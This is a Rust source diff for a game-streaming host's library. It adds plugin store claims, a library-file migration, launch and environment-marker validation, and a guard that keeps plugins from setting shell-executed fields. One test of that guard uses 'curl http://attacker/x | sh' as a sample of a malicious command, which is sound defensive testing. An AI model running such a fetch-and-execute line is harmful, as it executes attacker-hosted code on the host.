return Ok(MutateOutcome::NotFound);
};
if let Some(provider) = &entry.provider {
return Ok(MutateOutcome::ProviderOwned(provider.clone()));
}
entries.retain(|e| e.id != id);
save_custom(&entries)?;
catalog.entries.retain(|e| e.id != id);
save_catalog(&catalog)?;
emit_changed("manual");
Ok(MutateOutcome::Done(()))
}
// ------------------------------------------------------------------ providers (RFC §8)
/// The **operator-privileged field** set in a library payload, if the payload carries one — the
/// fields whose contents the host later executes as the host user.
///
/// `prep` is run by [`crate::hooks::run_prep`] through `/bin/sh -c`, and a `command` launch is run
/// through `/bin/sh -c` (Linux) or `cmd.exe /c` (Windows). Both are documented at their execution
/// sites as *operator-typed, never client-set* — the custom store's whole trust argument is that a
/// human typed the command into the admin console. Any lane that is not the operator's own token
/// must therefore not be able to set them, which is what the 2026-08-05 review's H-1 exploited: the
/// plugin token reached `POST /library/custom` and `PUT /library/provider/{p}`, which carry two
/// copies of the very primitive the `/hooks` carve-out exists to withhold.
///
/// Returns the field name for the error message, so a plugin author sees exactly what was refused.
/// The other launch kinds (`steam_appid`, `steam_ui`, `launcher_ui`, `epic`, `gog`, `aumid`,
/// `lutris_id`, `heroic`) are all
/// host-resolved from a validated id and stay open to every lane — a provider plugin can still
/// publish its whole catalogue, it just cannot hand the host a shell command to run.
pub fn privileged_field(
launch: Option<&LaunchSpec>,
prep: &[crate::hooks::PrepCmd],
) -> Option<&'static str> {
if !prep.is_empty() {
return Some("prep");
}
if launch.is_some_and(|l| l.kind == "command") {
return Some("launch.kind = \"command\"");
}
None
}
/// Provider ids are path segments, event sources, and console labels: keep them tame.
/// `manual` is reserved (it is the no-provider sentinel in `library.changed`).
pub fn validate_provider_name(provider: &str) -> Result<(), String> {
@@ -265,6 +407,26 @@ pub fn validate_provider_name(provider: &str) -> Result<(), String> {
}
}
/// Store claims become the **prefix of every claimed entry's library id**, so they are far more
/// constrained than a provider name: no dots (an id is split on the first `:`, and a dotted store
/// would read as a hostname in logs), and the two host-owned namespaces are off-limits — `custom` is
/// the unclaimed-entry namespace and `manual` is the no-provider sentinel in `library.changed`.
pub fn validate_store_claim(store: &str) -> Result<(), String> {
if store == "custom" || store == "manual" {
return Err(format!("store id `{store}` is reserved"));
}
let ok = !store.is_empty()
&& store.len() <= 32
&& store
.bytes()
.all(|b| b.is_ascii_lowercase() || b.is_ascii_digit() || matches!(b, b'-' | b'_'));
if ok {
Ok(())
} else {
Err("store id must be 132 chars of [a-z0-9_-]".into())
}
}
/// Validate a reconcile payload: non-empty titles and unique, non-empty external ids (the
/// diff key — a duplicate would make ownership of the surviving entry ambiguous).
pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), String> {
@@ -282,6 +444,40 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
e.external_id
));
}
// Closed-vocabulary launch kinds are checked on the way IN as well as at launch time, so a
// plugin gets a 400 it can act on rather than a tile that silently refuses to start.
if let Some(launch) = &e.launch {
if launch.kind == "steam_ui" && !valid_steam_ui(&launch.value) {
return Err(format!(
"entries[{i}]: `launch.value` for kind `steam_ui` must be `bigpicture` or `desktop`"
));
}
// Refused rather than silently accepted, because the failure is otherwise invisible
// until a user clicks the tile: an unresolvable value yields no command at launch time.
if launch.kind == "launcher_ui" && !valid_launcher_ui(&launch.value) {
return Err(format!(
"entries[{i}]: `launch.value` for kind `launcher_ui` names a launcher this host \
cannot open (`{}`)",
launch.value
));
}
}
if let Some(marker) = &e.detect.env_marker {
if !valid_env_key(&marker.key) {
return Err(format!(
"entries[{i}]: `detect.env_marker.key` must be 164 chars of [A-Za-z0-9_]"
));
}
if marker
.value
.as_ref()
.is_some_and(|v| v.len() > MAX_ENV_VALUE)
{
return Err(format!(
"entries[{i}]: `detect.env_marker.value` must be at most {MAX_ENV_VALUE} chars"
));
}
}
}
Ok(())
}
@@ -293,6 +489,7 @@ pub fn validate_provider_payload(inputs: &[ProviderEntryInput]) -> Result<(), St
fn reconcile_entries(
entries: &mut Vec<CustomEntry>,
provider: &str,
store: Option<&str>,
inputs: Vec<ProviderEntryInput>,
) -> Vec<CustomEntry> {
// The provider's current entries, keyed by its own stable id.
@@ -317,6 +514,10 @@ fn reconcile_entries(
prep: input.prep,
provider: Some(provider.to_string()),
external_id: Some(input.external_id),
// Stamping the claim per entry is what makes the surfaced id deterministic
// (`<store>:<external_id>`) — see `library_id_for`.
store: store.map(str::to_string),
role: input.role,
detect: input.detect,
meta: input.meta,
});
@@ -326,43 +527,86 @@ fn reconcile_entries(
result
}
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`).
/// The caller validates the name and payload first. Emits `library.changed` with the provider
/// as the source.
/// Atomically replace `provider`'s entry set (RFC §8: `PUT /library/provider/{provider}`), optionally
/// under a **store claim** (D2: `?store=steam`). The caller validates the name and payload first.
/// Emits `library.changed` with the provider as the source.
///
/// Claiming is idempotent for the holder and refused for anyone else. A provider holds at most one
/// store, so claiming a new one releases whatever it held before — otherwise an abandoned claim would
/// go on suppressing a built-in scanner with nothing to replace it.
pub fn reconcile_provider(
provider: &str,
store: Option<&str>,
inputs: Vec<ProviderEntryInput>,
) -> Result<Vec<CustomEntry>> {
let mut entries = load_custom();
let result = reconcile_entries(&mut entries, provider, inputs);
save_custom(&entries)?;
) -> Result<MutateOutcome<Vec<CustomEntry>>> {
let mut catalog = load_catalog();
if let Some(store) = store {
if let Some(holder) = catalog.claims.get(store) {
if holder != provider {
return Ok(MutateOutcome::StoreClaimed {
store: store.to_string(),
provider: holder.clone(),
});
}
}
let previous: Vec<String> = catalog
.claims
.iter()
.filter(|(s, p)| p.as_str() == provider && s.as_str() != store)
.map(|(s, _)| s.clone())
.collect();
for stale in previous {
tracing::info!(provider, released = %stale, claimed = store, "library: provider moved its store claim");
catalog.claims.remove(&stale);
}
if catalog
.claims
.insert(store.to_string(), provider.to_string())
.is_none()
{
tracing::info!(provider, store, "library: store claimed by a provider");
}
}
let result = reconcile_entries(&mut catalog.entries, provider, store, inputs);
save_catalog(&catalog)?;
emit_changed(provider);
Ok(result)
Ok(MutateOutcome::Done(result))
}
/// Remove every entry of `provider` (RFC §8: `DELETE /library/provider/{provider}` — the
/// clean-uninstall path). Returns how many were removed; no event when nothing was.
/// Remove every entry of `provider` **and release its store claim** (RFC §8:
/// `DELETE /library/provider/{provider}` — the clean-uninstall path). Returns how many entries were
/// removed; no event when nothing changed at all.
///
/// Releasing here — and only here — is what makes uninstalling a library plugin bring its built-in
/// scanner straight back, with no restart and nothing to undo by hand.
pub fn delete_provider(provider: &str) -> Result<usize> {
let mut entries = load_custom();
let before = entries.len();
entries.retain(|e| e.provider.as_deref() != Some(provider));
let removed = before - entries.len();
if removed > 0 {
save_custom(&entries)?;
let mut catalog = load_catalog();
let before = catalog.entries.len();
catalog
.entries
.retain(|e| e.provider.as_deref() != Some(provider));
let removed = before - catalog.entries.len();
let claims_before = catalog.claims.len();
catalog.claims.retain(|_, p| p != provider);
let released = claims_before - catalog.claims.len();
if removed > 0 || released > 0 {
if released > 0 {
tracing::info!(provider, released, "library: store claim released");
}
save_catalog(&catalog)?;
emit_changed(provider);
}
Ok(removed)
}
/// The prep/undo steps for a library id — `custom:<id>` entries only (the other stores have no
/// The prep/undo steps for a library id — any **stored** entry (the in-host scanners have no
/// per-title config surface; a GameStream `apps.json` entry carries its own `prep` instead).
///
/// Resolved through [`entry_for_library_id`] rather than by stripping a `custom:` prefix, so a
/// claimed entry's prep still runs: after extraction a `steam:440` entry is a stored one, and
/// per-title prep is exactly the kind of thing an operator sets on a game they play.
pub fn prep_for(library_id: &str) -> Vec<crate::hooks::PrepCmd> {
let Some(id) = library_id.strip_prefix("custom:") else {
return Vec::new();
};
load_custom()
.into_iter()
.find(|e| e.id == id)
entry_for_library_id(library_id)
.map(|e| e.prep)
.unwrap_or_default()
}
@@ -375,13 +619,7 @@ fn emit_changed(source: &str) {
});
}
/// A digits-only Steam appid: the sole client-influenced part of a Steam launch, validated before it
/// is interpolated into any command / URI (so a client-sent id can never carry shell or URI syntax).
/// Cross-platform — used by the Linux shell mapping ([`command_for`]) and the Windows spawn mapping
/// ([`windows_launch_for`]).
pub(crate) fn valid_steam_appid(value: &str) -> bool {
!value.is_empty() && value.bytes().all(|b| b.is_ascii_digit())
}
// `valid_steam_appid` moved to `launch.rs` (WP1.1) — it validates a launch value, not a store entry.
#[cfg(test)]
mod tests {
@@ -396,6 +634,8 @@ mod tests {
prep: Vec::new(),
provider: None,
external_id: None,
store: None,
role: GameRole::Game,
detect: DetectHint::default(),
meta: GameMeta::default(),
}
@@ -408,6 +648,7 @@ mod tests {
art: Artwork::default(),
launch: None,
prep: Vec::new(),
role: GameRole::Game,
detect: DetectHint::default(),
meta: GameMeta::default(),
}
@@ -429,6 +670,79 @@ mod tests {
assert_eq!(g.meta.platform.as_deref(), Some("PS2"));
}
/// D2's core promise: a **claimed** entry is indistinguishable from what the built-in scanner
/// produced. Same id, same store badge — plus the provider attribution the scanner never had.
#[test]
fn a_claimed_entry_reproduces_the_scanner_identity() {
let mut e = manual("host-assigned", "Portal 2");
e.provider = Some("steam".into());
e.external_id = Some("620".into());
e.store = Some("steam".into());
assert_eq!(library_id_for(&e), "steam:620");
let g: GameEntry = e.clone().into();
assert_eq!(g.id, "steam:620", "exactly what the scanner emitted");
assert_eq!(g.store, "steam", "the store badge, not `custom`");
assert_eq!(
g.provider.as_deref(),
Some("steam"),
"attribution rides along too"
);
// Unclaimed provider entries are untouched by any of this — rom-manager/playnite keep the
// opaque host id they have always had.
let mut u = manual("abc", "Chrono Trigger");
u.provider = Some("romm".into());
u.external_id = Some("rom-1".into());
assert_eq!(library_id_for(&u), "custom:abc");
assert_eq!(GameEntry::from(u).store, "custom");
// The source a toggle addresses: the claimed store when there is one, else the provider.
assert_eq!(source_id_for(&e), Some("steam"));
let mut r = manual("z", "T");
r.provider = Some("romm".into());
assert_eq!(source_id_for(&r), Some("romm"));
assert_eq!(
source_id_for(&manual("m", "Manual")),
None,
"never hideable"
);
}
/// A claimed entry keeps its `<store>:<external_id>` id across reconciles no matter what the
/// host-assigned id does — which is what keeps GameStream's FNV-1a app ids, client art caches
/// and Moonlight pins valid through the migration (the whole point of D2).
#[test]
fn claimed_ids_are_deterministic_across_reconciles() {
let mut entries = Vec::new();
let r1 = reconcile_entries(
&mut entries,
"steam",
Some("steam"),
vec![input("440", "Team Fortress 2"), input("620", "Portal 2")],
);
let ids: Vec<String> = r1.iter().map(library_id_for).collect();
assert_eq!(ids, ["steam:440", "steam:620"]);
// Re-sync with a renamed title and a new entry: the surfaced ids for surviving titles are
// byte-identical, and a brand-new title's id is derived, not random.
let r2 = reconcile_entries(
&mut entries,
"steam",
Some("steam"),
vec![
input("440", "Team Fortress 2 (2026)"),
input("70", "Half-Life"),
],
);
let ids2: Vec<String> = r2.iter().map(library_id_for).collect();
assert_eq!(ids2, ["steam:440", "steam:70"]);
// Dropping the claim on a later reconcile reverts them to opaque custom ids — the entries
// are the same rows, so this is exactly the "plugin stopped claiming" degradation.
let r3 = reconcile_entries(&mut entries, "steam", None, vec![input("440", "TF2")]);
assert!(library_id_for(&r3[0]).starts_with("custom:"));
}
/// The metadata contract on the wire and on disk: fields serialize FLAT (no `meta` nesting —
/// clients and plugins see `platform` beside `title`), absent fields vanish entirely, and a
/// pre-metadata `library.json` / payload still parses (all-optional).
@@ -477,6 +791,7 @@ mod tests {
let r1 = reconcile_entries(
&mut entries,
"romm",
None,
vec![input("rom-a", "Game A"), input("rom-b", "Game B")],
);
assert_eq!(r1.len(), 2);
@@ -488,6 +803,7 @@ mod tests {
let r2 = reconcile_entries(
&mut entries,
"romm",
None,
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
);
assert_eq!(r2.len(), 2);
@@ -506,6 +822,7 @@ mod tests {
let r3 = reconcile_entries(
&mut entries,
"romm",
None,
vec![input("rom-a", "Game A (v2)"), input("rom-c", "Game C")],
);
assert_eq!(
@@ -526,7 +843,7 @@ mod tests {
.any(|e| e.id == "oth1" && e.provider.as_deref() == Some("itch")));
// Empty payload = remove everything the provider owns (same as DELETE).
let r4 = reconcile_entries(&mut entries, "romm", Vec::new());
let r4 = reconcile_entries(&mut entries, "romm", None, Vec::new());
assert!(r4.is_empty());
assert_eq!(
entries.len(),
@@ -535,6 +852,127 @@ mod tests {
);
}
/// `library.json` v1 (a bare array) must keep loading, and v2 (the claims object) must round
/// trip. This is the only migration in the whole program — get it wrong and an existing host
/// silently loses its manual entries on upgrade.
#[test]
fn v1_and_v2_library_files_both_load() {
// v1: exactly what a shipped host has on disk today.
let v1 = r#"[{"id":"abc","title":"Old Manual"}]"#;
let c = match serde_json::from_str::<LibraryFile>(v1).unwrap() {
LibraryFile::Legacy(entries) => Catalog {
entries,
claims: BTreeMap::new(),
},
LibraryFile::V2(_) => panic!("an array must not parse as v2"),
};
assert_eq!(c.entries.len(), 1);
assert_eq!(c.entries[0].title, "Old Manual");
assert!(c.claims.is_empty());
// v2, including a claim.
let v2 = r#"{"entries":[{"id":"abc","title":"New"}],"claims":{"steam":"steam"}}"#;
let c = match serde_json::from_str::<LibraryFile>(v2).unwrap() {
LibraryFile::V2(c) => c,
LibraryFile::Legacy(_) => panic!("an object must not parse as v1"),
};
assert_eq!(c.entries.len(), 1);
assert_eq!(c.claims.get("steam").map(String::as_str), Some("steam"));
// A v2 file with no claims key at all (what the first write after upgrade produces before
// anything is claimed) still loads.
let bare = r#"{"entries":[]}"#;
assert!(matches!(
serde_json::from_str::<LibraryFile>(bare).unwrap(),
LibraryFile::V2(_)
));
// And what we WRITE is v2, so one mutation upgrades the file in place.
let written = serde_json::to_string(&Catalog::default()).unwrap();
assert!(written.contains("\"entries\""));
assert!(written.contains("\"claims\""));
}
#[test]
fn store_claim_validation() {
assert!(validate_store_claim("steam").is_ok());
assert!(validate_store_claim("epic-games").is_ok());
assert!(validate_store_claim("xbox_pc").is_ok());
// The two host-owned namespaces are off-limits.
assert!(validate_store_claim("custom").is_err());
assert!(validate_store_claim("manual").is_err());
assert!(validate_store_claim("").is_err());
assert!(validate_store_claim("Steam").is_err()); // no uppercase
// A dot would read as a hostname in a log line and muddies the `store:id` split.
assert!(validate_store_claim("my.store").is_err());
assert!(validate_store_claim(&"s".repeat(33)).is_err());
}
/// The closed-vocabulary fields are rejected at the door, so a plugin gets a 400 rather than a
/// tile that silently refuses to launch.
#[test]
fn payload_validation_covers_the_new_closed_vocabularies() {
let with_launch = |kind: &str, value: &str| {
let mut i = input("a", "A");
i.launch = Some(LaunchSpec {
kind: kind.into(),
value: value.into(),
});
i
};
assert!(validate_provider_payload(&[with_launch("steam_ui", "bigpicture")]).is_ok());
assert!(validate_provider_payload(&[with_launch("steam_ui", "desktop")]).is_ok());
assert!(validate_provider_payload(&[with_launch("steam_ui", "gamepad")]).is_err());
assert!(validate_provider_payload(&[with_launch("steam_ui", "")]).is_err());
// Other kinds are unconstrained here (the host validates them per-kind at launch).
assert!(validate_provider_payload(&[with_launch("command", "anything")]).is_ok());
let with_env = |key: &str, value: Option<&str>| {
let mut i = input("a", "A");
i.detect.env_marker = Some(EnvMarker {
key: key.into(),
value: value.map(str::to_string),
});
i
};
assert!(validate_provider_payload(&[with_env("HEROIC_APP_NAME", Some("Quail"))]).is_ok());
assert!(validate_provider_payload(&[with_env("BAD-KEY", None)]).is_err());
assert!(validate_provider_payload(&[with_env("", None)]).is_err());
assert!(
validate_provider_payload(&[with_env("K", Some(&"x".repeat(MAX_ENV_VALUE + 1)))])
.is_err()
);
}
/// The field-authority rule behind the 2026-08-05 review's H-1: exactly the two fields the host
/// later hands to a shell are operator-only. Everything else — including every host-resolved
/// launch kind — stays open, so a provider plugin can publish its whole catalogue.
#[test]
fn privileged_field_is_command_execution_only() {
let cmd = LaunchSpec {
kind: "command".into(),
value: "curl http://attacker/x | sh".into(),
};
let steam = LaunchSpec {
kind: "steam_appid".into(),
value: "70".into(),
};
let prep = vec![crate::hooks::PrepCmd {
run: "curl http://attacker/x | sh".into(),
undo: None,
}];
assert_eq!(
privileged_field(Some(&cmd), &[]),
Some("launch.kind = \"command\"")
);
assert_eq!(privileged_field(None, &prep), Some("prep"));
assert_eq!(privileged_field(Some(&steam), &prep), Some("prep"));
// The ordinary provider catalogue: nothing privileged, so no lane is refused.
assert_eq!(privileged_field(Some(&steam), &[]), None);
assert_eq!(privileged_field(None, &[]), None);
}
#[test]
fn provider_name_and_payload_validation() {
assert!(validate_provider_name("romm").is_ok());
+119 -6
View File
@@ -19,15 +19,34 @@
use super::*;
/// An environment variable a launcher stamps onto the game's process, identifying it.
#[derive(Clone, Debug, PartialEq, Eq)]
///
/// Serializable because it is now half of the inbound [`DetectHint`] too (D3) — a library plugin
/// that knows its launcher's marker (Heroic's `HEROIC_APP_NAME`, load-bearing under Proton) has to
/// be able to say so, since after extraction the host no longer reads that launcher's files itself.
#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize, ToSchema)]
pub struct EnvMarker {
/// The variable name (e.g. `HEROIC_GAME_ID`).
#[schema(example = "HEROIC_APP_NAME")]
pub key: String,
/// The exact value to require, when the launcher's value identifies *this* title. `None` matches
/// the key's mere presence — only safe for launchers that run one game at a time.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub value: Option<String>,
}
/// The env-var name charset a hint may carry: `[A-Za-z0-9_]{1,64}`, POSIX-shaped. An out-of-charset
/// key is not a real environment variable, so accepting one could only ever produce a matcher rule
/// that never fires (or, with an absurd length, a needless per-process comparison cost).
pub(crate) fn valid_env_key(key: &str) -> bool {
!key.is_empty()
&& key.len() <= 64
&& key.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'_')
}
/// Longest env-var VALUE a hint may pin. Values are compared against every candidate process's
/// environment, so an unbounded one is a (small) DoS lever and never a legitimate game id.
pub(crate) const MAX_ENV_VALUE: usize = 256;
/// The signals that identify a launched title's process(es). Every field is optional and
/// independent; an all-`None` spec means "this title can't be tracked" (the lease degrades to
/// [`crate::gamelease::LeaseKind::Untracked`] and both lifetime behaviors stay inert for it).
@@ -115,6 +134,11 @@ impl DetectSpec {
self.install_dir = self.install_dir.or(from.install_dir);
self.exe = self.exe.or(from.exe);
self.process_name = self.process_name.or(from.process_name);
// D3: the two store-derived signals are fillable from a hint now that the store may live in
// a plugin. Same rule as the other three — the host's own finding wins where it has one,
// which for a provider entry is moot (the host scanned nothing for it).
self.steam_appid = self.steam_appid.or(from.steam_appid);
self.env_marker = self.env_marker.or(from.env_marker);
self
}
}
@@ -143,12 +167,31 @@ pub struct DetectHint {
/// — see [`DetectSpec::process_name`].
#[serde(default, skip_serializing_if = "Option::is_none")]
pub process_name: Option<String>,
/// The Steam appid, for a title Steam itself installed (D3). On Linux this is the **sharpest**
/// signal that exists — Steam wraps every launch, native or Proton, in
/// `reaper SteamLaunch AppId=<appid>`, whose lifetime is exactly the game's — so without it a
/// steam plugin's lease tracking would degrade from reaper-exact to install-dir prefix matching.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub steam_appid: Option<u32>,
/// A launcher-stamped environment marker (D3) — see [`EnvMarker`].
#[serde(default, skip_serializing_if = "Option::is_none")]
pub env_marker: Option<EnvMarker>,
}
impl DetectHint {
/// Whether the hint says anything at all (all-empty is treated as absent).
pub fn is_empty(&self) -> bool {
self.trimmed().is_none()
self.trimmed().is_none() && self.steam_appid.is_none() && self.env_marker().is_none()
}
/// The env marker, if it is well-formed. A malformed one is dropped rather than rejected, for
/// the same reason a blank `install_dir` is: hint fields are hand-writable plugin input, and the
/// matcher must never be handed a rule it can't honour.
fn env_marker(&self) -> Option<&EnvMarker> {
self.env_marker
.as_ref()
.filter(|m| valid_env_key(&m.key))
.filter(|m| m.value.as_ref().is_none_or(|v| v.len() <= MAX_ENV_VALUE))
}
/// The hint with blank fields dropped, or `None` if nothing is left. Console text inputs and
@@ -166,14 +209,13 @@ impl DetectHint {
/// A provider's hint becomes a spec — the one inbound path into [`DetectSpec`].
impl From<&DetectHint> for DetectSpec {
fn from(h: &DetectHint) -> Self {
let Some((install_dir, exe, process_name)) = h.trimmed() else {
return Self::default();
};
let (install_dir, exe, process_name) = h.trimmed().unwrap_or((None, None, None));
Self {
install_dir: install_dir.map(PathBuf::from),
exe: exe.map(PathBuf::from),
process_name: process_name.map(str::to_string),
..Default::default()
steam_appid: h.steam_appid,
env_marker: h.env_marker().cloned(),
}
}
}
@@ -273,6 +315,7 @@ mod tests {
install_dir: Some("".into()),
exe: Some(" ".into()),
process_name: Some("\t".into()),
..Default::default()
};
assert!(blank.is_empty());
assert!(DetectSpec::from(&blank).is_empty(), "nothing to match on");
@@ -281,6 +324,7 @@ mod tests {
install_dir: Some(" /games/quail ".into()),
exe: None,
process_name: Some("quail".into()),
..Default::default()
};
assert!(!hint.is_empty());
let spec = DetectSpec::from(&hint);
@@ -299,6 +343,7 @@ mod tests {
install_dir: Some("/games/wrong".into()),
exe: Some("/games/real/run".into()),
process_name: None,
..Default::default()
};
let merged = found.or_hint(&hint);
assert_eq!(
@@ -317,6 +362,74 @@ mod tests {
.is_empty());
}
/// D3: the two store-derived signals now ride the hint, because after extraction the host no
/// longer reads Steam's or Heroic's files itself. Without them a plugin's lease tracking would
/// silently degrade — reaper-exact to dir-prefix on Linux Steam, and gone entirely for Heroic
/// under Proton, where the env marker is the only thing that works.
#[test]
fn a_hint_can_carry_the_store_derived_signals() {
let hint = DetectHint {
steam_appid: Some(440),
env_marker: Some(EnvMarker {
key: "HEROIC_APP_NAME".into(),
value: Some("Quail".into()),
}),
..Default::default()
};
assert!(!hint.is_empty(), "either field alone is a real hint");
let spec = DetectSpec::from(&hint);
assert_eq!(spec.steam_appid, Some(440));
assert_eq!(spec.env_marker.as_ref().unwrap().key, "HEROIC_APP_NAME");
// A steam_appid on its own is enough to be trackable.
let only_appid = DetectHint {
steam_appid: Some(620),
..Default::default()
};
assert!(!only_appid.is_empty());
assert!(!DetectSpec::from(&only_appid).is_empty());
// The host's own finding still wins where it has one (unchanged rule).
let found = DetectSpec::steam(70);
assert_eq!(found.or_hint(&hint).steam_appid, Some(70));
// …but a field the host had nothing for is filled in.
assert_eq!(
DetectSpec::dir("/games/x")
.or_hint(&hint)
.env_marker
.unwrap()
.key,
"HEROIC_APP_NAME"
);
}
/// A malformed marker is DROPPED, not honoured — same posture as a blank `install_dir`. The
/// matcher must never be handed a rule it cannot evaluate, and these values reach a code path
/// that can end processes.
#[test]
fn a_malformed_env_marker_says_nothing() {
let bad = |key: &str, value: Option<String>| DetectHint {
env_marker: Some(EnvMarker {
key: key.into(),
value,
}),
..Default::default()
};
assert!(bad("", None).is_empty());
assert!(bad("HAS-DASH", None).is_empty(), "not a POSIX env name");
assert!(bad("HAS SPACE", None).is_empty());
assert!(bad(&"K".repeat(65), None).is_empty(), "over the key cap");
assert!(
bad("K", Some("v".repeat(MAX_ENV_VALUE + 1))).is_empty(),
"over the value cap"
);
// …and a well-formed one at exactly the caps is kept.
assert!(!bad(&"K".repeat(64), Some("v".repeat(MAX_ENV_VALUE))).is_empty());
assert!(DetectSpec::from(&bad("HAS-DASH", None))
.env_marker
.is_none());
}
#[test]
fn first_token_handles_quotes_and_spaces() {
assert_eq!(
+3 -34
View File
@@ -100,6 +100,7 @@ fn epic_entry(
};
Some(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("epic:{app_name}"),
store: "epic".into(),
@@ -186,25 +187,8 @@ fn epic_art_index(catcache: &Path) -> std::collections::HashMap<String, Artwork>
map
}
/// Build the `com.epicgames.launcher://` launch URI from a stored launch value — the triple
/// `<namespace>:<catalogItemId>:<appName>` (colons URL-encoded), or a bare `<appName>` fallback.
/// Each part is charset-validated (host-derived, but belt-and-suspenders) so no shell/URI injection.
#[cfg(windows)]
pub(crate) fn epic_launch_uri(value: &str) -> Option<String> {
let ok = |s: &str| {
!s.is_empty()
&& s.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
};
let inner = match value.split(':').collect::<Vec<_>>().as_slice() {
[ns, cat, app] if ok(ns) && ok(cat) && ok(app) => format!("{ns}%3A{cat}%3A{app}"),
[app] if ok(app) => (*app).to_string(),
_ => return None,
};
Some(format!(
"com.epicgames.launcher://apps/{inner}?action=launch&silent=true"
))
}
// The `epic` launch mapping (`epic_launch_uri`) lives in `launch.rs` (WP1.1) — this module
// enumerates, it does not launch.
#[cfg(test)]
mod tests {
@@ -236,19 +220,4 @@ mod tests {
assert!(epic_entry(&gone, &empty).is_none());
std::fs::remove_dir_all(&dir).ok();
}
#[cfg(windows)]
#[test]
fn epic_launch_uri_triple_bare_and_guard() {
assert_eq!(
epic_launch_uri("fn:abc:Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/fn%3Aabc%3AFortnite?action=launch&silent=true")
);
assert_eq!(
epic_launch_uri("Fortnite").as_deref(),
Some("com.epicgames.launcher://apps/Fortnite?action=launch&silent=true")
);
assert!(epic_launch_uri("bad part:x:y").is_none()); // a space → rejected
assert!(epic_launch_uri("").is_none());
}
}
+3 -27
View File
@@ -57,6 +57,7 @@ fn gog_games() -> Vec<GameEntry> {
let detect = DetectSpec::exe(&exe).with_dir(&path);
out.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id,
store: "gog".into(),
@@ -133,38 +134,13 @@ fn gog_play_task(install: &str, id: &str) -> Option<(String, String, String)> {
))
}
/// Build the spawn `(command line, working dir)` for a `gog` launch value (`exe \t args \t workdir`,
/// all host-resolved from the operator's own disk). Direct exe — no shell, no Galaxy.
#[cfg(windows)]
pub(crate) fn gog_spawn(value: &str) -> Option<(String, Option<PathBuf>)> {
let mut parts = value.split('\t');
let exe = parts.next().filter(|s| !s.is_empty())?;
let args = parts.next().unwrap_or("");
let workdir = parts.next().filter(|s| !s.is_empty()).map(PathBuf::from);
let cmdline = if args.trim().is_empty() {
format!("\"{exe}\"")
} else {
format!("\"{exe}\" {args}")
};
Some((cmdline, workdir))
}
// The `gog` launch mapping (`gog_spawn`) lives in `launch.rs` (WP1.1) — this module enumerates and
// resolves the spawn triple off disk, but turning that triple into a command line is launch-side.
#[cfg(test)]
mod tests {
use super::*;
#[cfg(windows)]
#[test]
fn gog_spawn_parses_and_guards() {
let (cmd, wd) = gog_spawn("C:\\Games\\W3\\witcher3.exe\t--skip\tC:\\Games\\W3").unwrap();
assert_eq!(cmd, "\"C:\\Games\\W3\\witcher3.exe\" --skip");
assert_eq!(wd, Some(std::path::PathBuf::from("C:\\Games\\W3")));
let (cmd2, wd2) = gog_spawn("C:\\g.exe").unwrap();
assert_eq!(cmd2, "\"C:\\g.exe\"");
assert!(wd2.is_none());
assert!(gog_spawn("").is_none());
}
#[cfg(windows)]
#[test]
fn gog_play_task_picks_primary_filetask() {
+3 -42
View File
@@ -109,6 +109,7 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
};
games.push(GameEntry {
provider: None,
role: GameRole::Game,
meta: GameMeta::pc(),
id: format!("heroic:{runner}:{app_name}"),
store: "heroic".into(),
@@ -128,48 +129,8 @@ fn heroic_games(path: &Path, runner: &str, key: &str) -> anyhow::Result<Vec<Game
Ok(games)
}
/// Map a `heroic` LaunchSpec value (`<runner>:<appName>`) to the Heroic launch command, run nested in
/// gamescope. The host owns this mapping; the client only ever sends the id. CAVEAT: Heroic is a
/// single-instance Electron app — in a fresh per-session gamescope it boots, launches the game (which
/// renders into that gamescope) and stays hidden via `--no-gui`; but if a Heroic GUI is ALREADY
/// running on the box, the spawned process forwards the URI and exits, which would tear the session
/// down. The validated path is the fresh-session case; needs live confirmation on a box with Heroic.
#[cfg(target_os = "linux")]
pub(crate) fn heroic_command(value: &str) -> Option<String> {
let (runner, app) = value.split_once(':')?;
if !matches!(runner, "legendary" | "gog" | "nile") {
return None;
}
// appName charset (Epic alnum, GOG digits, Amazon alnum) — keep the URI a single safe token.
if app.is_empty()
|| !app
.bytes()
.all(|b| b.is_ascii_alphanumeric() || matches!(b, b'.' | b'_' | b'-'))
{
return None;
}
let prefix = heroic_launch_prefix()?;
// No quotes: gamescope spawns the app by `split_whitespace()`, and the URI has no spaces (appName
// is validated above) so it stays a single argv token; `&` is fine (exec'd, not shell-parsed).
Some(format!(
"{prefix} --no-gui heroic://launch?appName={app}&runner={runner}"
))
}
/// How to invoke Heroic: the native `heroic` binary if on `PATH`, else the Flatpak app if its data
/// root is present. `None` ⇒ Heroic not found, so no launch command.
#[cfg(target_os = "linux")]
fn heroic_launch_prefix() -> Option<String> {
let on_path = std::env::var_os("PATH")
.is_some_and(|paths| std::env::split_paths(&paths).any(|d| d.join("heroic").is_file()));
if on_path {
return Some("heroic".into());
}
let flatpak = std::env::var_os("HOME")
.map(PathBuf::from)
.is_some_and(|h| h.join(".var/app/com.heroicgameslauncher.hgl").is_dir());
flatpak.then(|| "flatpak run com.heroicgameslauncher.hgl".into())
}
// The `heroic` launch mapping (`heroic_command` + its launcher-prefix probe) lives in `launch.rs`
// (WP1.1) — this module enumerates, it does not launch.
#[cfg(test)]
mod tests {
+326 -5
View File
@@ -1,12 +1,14 @@
//! Title launch: resolve a library id / raw command into an executable command line (per-store +
//! per-OS), and the gamescope-session launch helpers. Split out of the `library` facade (plan §W5).
//!
//! This module owns the **whole launch side** of the library: the `kind` vocabulary, its per-kind
//! charset validators, and the per-OS resolvers. That split is deliberate and load-bearing — the
//! scanner modules beside it do *enumeration only*, so they can be lifted out into library plugins
//! without taking any launch logic with them (design/library-scanner-plugins.md D1: a client sends
//! only an entry id and the host resolves the [`LaunchSpec`] it holds, which stays true whether the
//! entry was enumerated in-process or reconciled in by a plugin).
